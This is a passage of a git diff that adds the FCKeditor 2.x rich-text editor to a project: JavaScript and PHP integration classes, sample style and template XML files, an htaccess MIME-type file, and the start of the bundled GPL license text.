+{
+       var sFile = 'fckeditor.html' ;
+       
+       try
+       {
+               if ( (/fcksource=true/i).test( window.top.location.search ) )
+                       sFile = 'fckeditor.original.html' ;
+       }
+       catch (e) { /* Ignore it. Much probably we are inside a FRAME where the "top" is in another domain (security error). */ }
+
+       var sLink = this.BasePath + 'editor/' + sFile + '?InstanceName=' + encodeURIComponent( this.InstanceName ) ;
+       if (this.ToolbarSet) sLink += '&amp;Toolbar=' + this.ToolbarSet ;
+
+       return '<iframe id="' + this.InstanceName + '___Frame" src="' + sLink + '" width="' + this.Width + '" height="' + this.Height + '" frameborder="0" scrolling="no"></iframe>' ;
+}
+
+FCKeditor.prototype._IsCompatibleBrowser = function()
+{
+       return FCKeditor_IsCompatibleBrowser( this.EnableSafari, this.EnableOpera ) ;
+}
+
+FCKeditor.prototype._ThrowError = function( errorNumber, errorDescription )
+{
+       this.ErrorNumber                = errorNumber ;
+       this.ErrorDescription   = errorDescription ;
+
+       if ( this.DisplayErrors )
+       {
+               document.write( '<div style="COLOR: #ff0000">' ) ;
+               document.write( '[ FCKeditor Error ' + this.ErrorNumber + ': ' + this.ErrorDescription + ' ]' ) ;
+               document.write( '</div>' ) ;
+       }
+
+       if ( typeof( this.OnError ) == 'function' )
+               this.OnError( this, errorNumber, errorDescription ) ;
+}
+
+FCKeditor.prototype._HTMLEncode = function( text )
+{
+       if ( typeof( text ) != "string" )
+               text = text.toString() ;
+
+       text = text.replace(
+               /&/g, "&amp;").replace(
+               /"/g, "&quot;").replace(
+               /</g, "&lt;").replace(
+               />/g, "&gt;") ;
+
+       return text ;
+}
+
+function FCKeditor_IsCompatibleBrowser( enableSafari, enableOpera )
+{
+       var sAgent = navigator.userAgent.toLowerCase() ;
+
+       // Internet Explorer
+       if ( sAgent.indexOf("msie") != -1 && sAgent.indexOf("mac") == -1 && sAgent.indexOf("opera") == -1 )
+       {
+               var sBrowserVersion = navigator.appVersion.match(/MSIE (.\..)/)[1] ;
+               return ( sBrowserVersion >= 5.5 ) ;
+       }
+
+       // Gecko (Opera 9 tries to behave like Gecko at this point).
+       if ( navigator.product == "Gecko" && navigator.productSub >= 20030210 && !( typeof(opera) == 'object' && opera.postError ) )
+               return true ;
+
+       // Opera
+       if ( enableOpera && navigator.appName == 'Opera' && parseInt( navigator.appVersion, 10 ) >= 9 )
+                       return true ;
+
+       // Safari
+       if ( enableSafari && sAgent.indexOf( 'safari' ) != -1 )
+               return ( sAgent.match( /safari\/(\d+)/ )[1] >= 312 ) ;  // Build must be at least 312 (1.3)
+
+       return false ;
+}
\ No newline at end of file
diff --git a/fckeditor/fckeditor.php b/fckeditor/fckeditor.php
new file mode 100755 (executable)
index 0000000..80e45bb
--- /dev/null
@@ -0,0 +1,37 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckeditor.php
+ *     This is the integration file for PHP (All versions).
+ *     
+ *     It loads the correct integration file based on the PHP version (avoinding
+ *     strict error messages with PHP 5).
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+if ( version_compare( phpversion(), '5', '<' ) )
+       include_once( 'fckeditor_php4.php' ) ;
+else
+       include_once( 'fckeditor_php5.php' ) ;
+       
+?>
\ No newline at end of file
diff --git a/fckeditor/fckeditor_php4.php b/fckeditor/fckeditor_php4.php
new file mode 100755 (executable)
index 0000000..f880260
--- /dev/null
@@ -0,0 +1,164 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckeditor_php4.php
+ *     This is the integration file for PHP 4.
+ *     
+ *     It defines the FCKeditor class that can be used to create editor
+ *     instances in PHP pages on server side.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+class FCKeditor
+{
+       var $InstanceName ;
+       var $BasePath ;
+       var $Width ;
+       var $Height ;
+       var $ToolbarSet ;
+       var $Value ;
+       var $Config ;
+       
+       // PHP 4 Contructor
+       function FCKeditor( $instanceName )
+       {
+               $this->InstanceName     = $instanceName ;
+               $this->BasePath         = '/fckeditor/' ;
+               $this->Width            = '100%' ;
+               $this->Height           = '200' ;
+               $this->ToolbarSet       = 'Default' ;
+               $this->Value            = '' ;
+
+               $this->Config           = array() ;
+       }
+
+       function Create()
+       {
+               echo $this->CreateHtml() ;
+       }
+       
+       function CreateHtml()
+       {
+               $HtmlValue = htmlspecialchars( $this->Value ) ;
+
+               $Html = '<div>' ;
+               
+               if ( $this->IsCompatible() )
+               {
+                       if ( isset( $_GET['fcksource'] ) && $_GET['fcksource'] == "true" )
+                               $File = 'fckeditor.original.html' ;
+                       else
+                               $File = 'fckeditor.html' ;
+
+                       $Link = "{$this->BasePath}editor/{$File}?InstanceName={$this->InstanceName}" ;
+                       
+                       if ( $this->ToolbarSet != '' )
+                               $Link .= "&amp;Toolbar={$this->ToolbarSet}" ;
+
+                       // Render the linked hidden field.
+                       $Html .= "<input type=\"hidden\" id=\"{$this->InstanceName}\" name=\"{$this->InstanceName}\" value=\"{$HtmlValue}\" style=\"display:none\" />" ;
+
+                       // Render the configurations hidden field.
+                       $Html .= "<input type=\"hidden\" id=\"{$this->InstanceName}___Config\" value=\"" . $this->GetConfigFieldString() . "\" style=\"display:none\" />" ;
+
+                       // Render the editor IFRAME.
+                       $Html .= "<iframe id=\"{$this->InstanceName}___Frame\" src=\"{$Link}\" width=\"{$this->Width}\" height=\"{$this->Height}\" frameborder=\"0\" scrolling=\"no\"></iframe>" ;
+               }
+               else
+               {
+                       if ( strpos( $this->Width, '%' ) === false )
+                               $WidthCSS = $this->Width . 'px' ;
+                       else
+                               $WidthCSS = $this->Width ;
+
+                       if ( strpos( $this->Height, '%' ) === false )
+                               $HeightCSS = $this->Height . 'px' ;
+                       else
+                               $HeightCSS = $this->Height ;
+
+                       $Html .= "<textarea name=\"{$this->InstanceName}\" rows=\"4\" cols=\"40\" style=\"width: {$WidthCSS}; height: {$HeightCSS}\">{$HtmlValue}</textarea>" ;
+               }
+
+               $Html .= '</div>' ;
+               
+               return $Html ;
+       }
+
+       function IsCompatible()
+       {
+               global $HTTP_USER_AGENT ;
+
+               if ( isset( $HTTP_USER_AGENT ) )
+                       $sAgent = $HTTP_USER_AGENT ;
+               else
+                       $sAgent = $_SERVER['HTTP_USER_AGENT'] ;
+
+               if ( strpos($sAgent, 'MSIE') !== false && strpos($sAgent, 'mac') === false && strpos($sAgent, 'Opera') === false )
+               {
+                       $iVersion = (float)substr($sAgent, strpos($sAgent, 'MSIE') + 5, 3) ;
+                       return ($iVersion >= 5.5) ;
+               }
+               else if ( strpos($sAgent, 'Gecko/') !== false )
+               {
+                       $iVersion = (int)substr($sAgent, strpos($sAgent, 'Gecko/') + 6, 8) ;
+                       return ($iVersion >= 20030210) ;
+               }
+               else
+                       return false ;
+       }
+
+       function GetConfigFieldString()
+       {
+               $sParams = '' ;
+               $bFirst = true ;
+
+               foreach ( $this->Config as $sKey => $sValue )
+               {
+                       if ( $bFirst == false )
+                               $sParams .= '&amp;' ;
+                       else
+                               $bFirst = false ;
+                       
+                       if ( $sValue === true )
+                               $sParams .= $this->EncodeConfig( $sKey ) . '=true' ;
+                       else if ( $sValue === false )
+                               $sParams .= $this->EncodeConfig( $sKey ) . '=false' ;
+                       else
+                               $sParams .= $this->EncodeConfig( $sKey ) . '=' . $this->EncodeConfig( $sValue ) ;
+               }
+               
+               return $sParams ;
+       }
+
+       function EncodeConfig( $valueToEncode )
+       {
+               $chars = array( 
+                       '&' => '%26', 
+                       '=' => '%3D', 
+                       '"' => '%22' ) ;
+
+               return strtr( $valueToEncode,  $chars ) ;
+       }
+}
+
+?>
\ No newline at end of file
diff --git a/fckeditor/fckeditor_php5.php b/fckeditor/fckeditor_php5.php
new file mode 100755 (executable)
index 0000000..6106315
--- /dev/null
@@ -0,0 +1,164 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckeditor_php5.php
+ *     This is the integration file for PHP 5.
+ *     
+ *     It defines the FCKeditor class that can be used to create editor
+ *     instances in PHP pages on server side.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+class FCKeditor
+{
+       var $InstanceName ;
+       var $BasePath ;
+       var $Width ;
+       var $Height ;
+       var $ToolbarSet ;
+       var $Value ;
+       var $Config ;
+
+       // PHP 5 Constructor (by Marcus Bointon <coolbru@users.sourceforge.net>)
+       function __construct( $instanceName )
+       {
+               $this->InstanceName     = $instanceName ;
+               $this->BasePath         = '/fckeditor/' ;
+               $this->Width            = '100%' ;
+               $this->Height           = '200' ;
+               $this->ToolbarSet       = 'Default' ;
+               $this->Value            = '' ;
+
+               $this->Config           = array() ;
+       }
+
+       function Create()
+       {
+               echo $this->CreateHtml() ;
+       }
+       
+       function CreateHtml()
+       {
+               $HtmlValue = htmlspecialchars( $this->Value ) ;
+
+               $Html = '<div>' ;
+               
+               if ( $this->IsCompatible() )
+               {
+                       if ( isset( $_GET['fcksource'] ) && $_GET['fcksource'] == "true" )
+                               $File = 'fckeditor.original.html' ;
+                       else
+                               $File = 'fckeditor.html' ;
+
+                       $Link = "{$this->BasePath}editor/{$File}?InstanceName={$this->InstanceName}" ;
+                       
+                       if ( $this->ToolbarSet != '' )
+                               $Link .= "&amp;Toolbar={$this->ToolbarSet}" ;
+
+                       // Render the linked hidden field.
+                       $Html .= "<input type=\"hidden\" id=\"{$this->InstanceName}\" name=\"{$this->InstanceName}\" value=\"{$HtmlValue}\" style=\"display:none\" />" ;
+
+                       // Render the configurations hidden field.
+                       $Html .= "<input type=\"hidden\" id=\"{$this->InstanceName}___Config\" value=\"" . $this->GetConfigFieldString() . "\" style=\"display:none\" />" ;
+
+                       // Render the editor IFRAME.
+                       $Html .= "<iframe id=\"{$this->InstanceName}___Frame\" src=\"{$Link}\" width=\"{$this->Width}\" height=\"{$this->Height}\" frameborder=\"0\" scrolling=\"no\"></iframe>" ;
+               }
+               else
+               {
+                       if ( strpos( $this->Width, '%' ) === false )
+                               $WidthCSS = $this->Width . 'px' ;
+                       else
+                               $WidthCSS = $this->Width ;
+
+                       if ( strpos( $this->Height, '%' ) === false )
+                               $HeightCSS = $this->Height . 'px' ;
+                       else
+                               $HeightCSS = $this->Height ;
+
+                       $Html .= "<textarea name=\"{$this->InstanceName}\" rows=\"4\" cols=\"40\" style=\"width: {$WidthCSS}; height: {$HeightCSS}\">{$HtmlValue}</textarea>" ;
+               }
+
+               $Html .= '</div>' ;
+               
+               return $Html ;
+       }
+
+       function IsCompatible()
+       {
+               global $HTTP_USER_AGENT ;
+
+               if ( isset( $HTTP_USER_AGENT ) )
+                       $sAgent = $HTTP_USER_AGENT ;
+               else
+                       $sAgent = $_SERVER['HTTP_USER_AGENT'] ;
+
+               if ( strpos($sAgent, 'MSIE') !== false && strpos($sAgent, 'mac') === false && strpos($sAgent, 'Opera') === false )
+               {
+                       $iVersion = (float)substr($sAgent, strpos($sAgent, 'MSIE') + 5, 3) ;
+                       return ($iVersion >= 5.5) ;
+               }
+               else if ( strpos($sAgent, 'Gecko/') !== false )
+               {
+                       $iVersion = (int)substr($sAgent, strpos($sAgent, 'Gecko/') + 6, 8) ;
+                       return ($iVersion >= 20030210) ;
+               }
+               else
+                       return false ;
+       }
+
+       function GetConfigFieldString()
+       {
+               $sParams = '' ;
+               $bFirst = true ;
+
+               foreach ( $this->Config as $sKey => $sValue )
+               {
+                       if ( $bFirst == false )
+                               $sParams .= '&amp;' ;
+                       else
+                               $bFirst = false ;
+                       
+                       if ( $sValue === true )
+                               $sParams .= $this->EncodeConfig( $sKey ) . '=true' ;
+                       else if ( $sValue === false )
+                               $sParams .= $this->EncodeConfig( $sKey ) . '=false' ;
+                       else
+                               $sParams .= $this->EncodeConfig( $sKey ) . '=' . $this->EncodeConfig( $sValue ) ;
+               }
+               
+               return $sParams ;
+       }
+
+       function EncodeConfig( $valueToEncode )
+       {
+               $chars = array( 
+                       '&' => '%26', 
+                       '=' => '%3D', 
+                       '"' => '%22' ) ;
+
+               return strtr( $valueToEncode,  $chars ) ;
+       }
+}
+
+?>
\ No newline at end of file
diff --git a/fckeditor/fckstyles.xml b/fckeditor/fckstyles.xml
new file mode 100755 (executable)
index 0000000..32e1ccf
--- /dev/null
@@ -0,0 +1,56 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckstyles.xml
+ *     This is the sample style definitions file. It makes the styles combo
+ *     completely customizable.
+ *     See FCKConfig.StylesXmlPath in the configuration file.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<Styles>
+       <Style name="Image on Left" element="img">
+               <Attribute name="style" value="padding: 5px; margin-right: 5px" />
+               <Attribute name="border" value="2" />
+               <Attribute name="align" value="left" />
+       </Style>
+       <Style name="Image on Right" element="img">
+               <Attribute name="style" value="padding: 5px; margin-left: 5px" />
+               <Attribute name="border" value="2" />
+               <Attribute name="align" value="right" />
+       </Style>
+       <Style name="Custom Bold" element="span">
+               <Attribute name="style" value="font-weight: bold;" />
+       </Style>
+       <Style name="Custom Italic" element="em" />
+       <Style name="Title" element="span">
+               <Attribute name="class" value="Title" />
+       </Style>
+       <Style name="Code" element="span">
+               <Attribute name="class" value="Code" />
+       </Style>
+       <Style name="Title H3" element="h3" />
+       <Style name="Custom Ruler" element="hr">
+               <Attribute name="size" value="1" />
+               <Attribute name="color" value="#ff0000" />
+       </Style>
+</Styles>
\ No newline at end of file
diff --git a/fckeditor/fcktemplates.xml b/fckeditor/fcktemplates.xml
new file mode 100755 (executable)
index 0000000..d3d1dbc
--- /dev/null
@@ -0,0 +1,106 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fcktemplates.xml
+ *     This is the sample templates definitions file. It makes the "templates" 
+ *     command completely customizable.
+ *     See FCKConfig.TemplatesXmlPath in the configuration file.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<Templates imagesBasePath="fck_template/images/">
+       <Template title="Image and Title" image="template1.gif">
+               <Description>One main image with a title and text that surround the image.</Description>
+               <Html>
+                       <![CDATA[
+                               <img style="MARGIN-RIGHT: 10px" height="100" alt="" width="100" align="left"/>
+                               <h3>Type the title here</h3>
+                               Type the text here
+                       ]]>
+               </Html>
+       </Template>
+       <Template title="Strange Template" image="template2.gif">
+               <Description>A template that defines two colums, each one with a title, and some text.</Description>
+               <Html>
+                       <![CDATA[
+                               <table cellspacing="0" cellpadding="0" width="100%" border="0">
+                                       <tbody>
+                                               <tr>
+                                                       <td width="50%">
+                                                       <h3>Title 1</h3>
+                                                       </td>
+                                                       <td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </td>
+                                                       <td width="50%">
+                                                       <h3>Title 2</h3>
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td>Text 1</td>
+                                                       <td>&nbsp;</td>
+                                                       <td>Text 2</td>
+                                               </tr>
+                                       </tbody>
+                               </table>
+                               More text goes here.
+                       ]]>
+               </Html>
+       </Template>
+       <Template title="Text and Table" image="template3.gif">
+               <Description>A title with some text and a table.</Description>
+               <Html>
+                       <![CDATA[
+                               <table align="left" width="80%" border="0" cellspacing="0" cellpadding="0"><tr><td>
+                                       <h3>Title goes here</h3>
+                                       <p>
+                                       <table style="FLOAT: right" cellspacing="0" cellpadding="0" width="150" border="1">
+                                               <tbody>
+                                                       <tr>
+                                                               <td align="center" colspan="3"><strong>Table title</strong></td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td>&nbsp;</td>
+                                                               <td>&nbsp;</td>
+                                                               <td>&nbsp;</td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td>&nbsp;</td>
+                                                               <td>&nbsp;</td>
+                                                               <td>&nbsp;</td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td>&nbsp;</td>
+                                                               <td>&nbsp;</td>
+                                                               <td>&nbsp;</td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td>&nbsp;</td>
+                                                               <td>&nbsp;</td>
+                                                               <td>&nbsp;</td>
+                                                       </tr>
+                                               </tbody>
+                                       </table>
+                                       Type the text here</p>
+                               </td></tr></table>
+                       ]]>
+               </Html>
+       </Template>
+</Templates>
diff --git a/fckeditor/htaccess.txt b/fckeditor/htaccess.txt
new file mode 100755 (executable)
index 0000000..0ba7023
--- /dev/null
@@ -0,0 +1,44 @@
+#
+#  FCKeditor - The text editor for Internet - http://www.fckeditor.net
+#  Copyright (C) 2003-2007 Frederico Caldeira Knabben
+# 
+#  == BEGIN LICENSE ==
+# 
+#  Licensed under the terms of any of the following licenses at your
+#  choice:
+# 
+#   - GNU General Public License Version 2 or later (the "GPL")
+#     http://www.gnu.org/licenses/gpl.html
+#  
+#   - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+#     http://www.gnu.org/licenses/lgpl.html
+#  
+#   - Mozilla Public License Version 1.1 or later (the "MPL")
+#     http://www.mozilla.org/MPL/MPL-1.1.html
+#  
+#  == END LICENSE ==
+#
+# ----------------------------------------------------------------------------- 
+#
+# On some specific Linux installations you could face problems with Firefox. 
+# It could give you errors when loading the editor saying that some illegal
+# characters were found (three strange chars in the beginning of the file).
+# This could happen if you map the .js or .css files to PHP, for example.
+#
+# Those characters are the Byte Order Mask (BOM) of the Unicode encoded files.
+# All FCKeditor files are Unicode encoded.
+#
+# Just rename this file to ".htaccess" and leave it in the editor directory. 
+# There are no security issues on doing it. It just sets the ".js" and ".css" 
+# files to their correct content types.
+#
+
+AddType application/x-javascript .js
+AddType text/css .css
+
+#
+# If PHP is mapped to handle XML files, you could have some issues. The
+# following will disable it.
+#
+
+AddType text/xml .xml
diff --git a/fckeditor/license.txt b/fckeditor/license.txt
new file mode 100755 (executable)
index 0000000..776d133
--- /dev/null
@@ -0,0 +1,1247 @@
+FCKeditor - The text editor for Internet - http://www.fckeditor.net
+Copyright (C) 2003-2007 Frederico Caldeira Knabben
+
+Licensed under the terms of any of the following licenses at your
+choice:
+
+ - GNU General Public License Version 2 or later (the "GPL")
+   http://www.gnu.org/licenses/gpl.html
+   (See Appendix A)
+
+ - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+   http://www.gnu.org/licenses/lgpl.html
+   (See Appendix B)
+
+ - Mozilla Public License Version 1.1 or later (the "MPL")
+   http://www.mozilla.org/MPL/MPL-1.1.html
+   (See Appendix C)
+
+You are not required to, but if you want to explicitly declare the
+license you have chosen to be bound to when using, reproducing,
+modifying and distributing this software, just include a text file
+titled "legal.txt" in your version of this software, indicating your
+license choice. In any case, your choice will not restrict any
+recipient of your version of this software to use, reproduce, modify
+and distribute this software under any of the above licenses.
+
+Appendix A: The GPL License
+===========================
+
+                   GNU GENERAL PUBLIC LICENSE
+                      Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                           Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Lesser General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                   GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
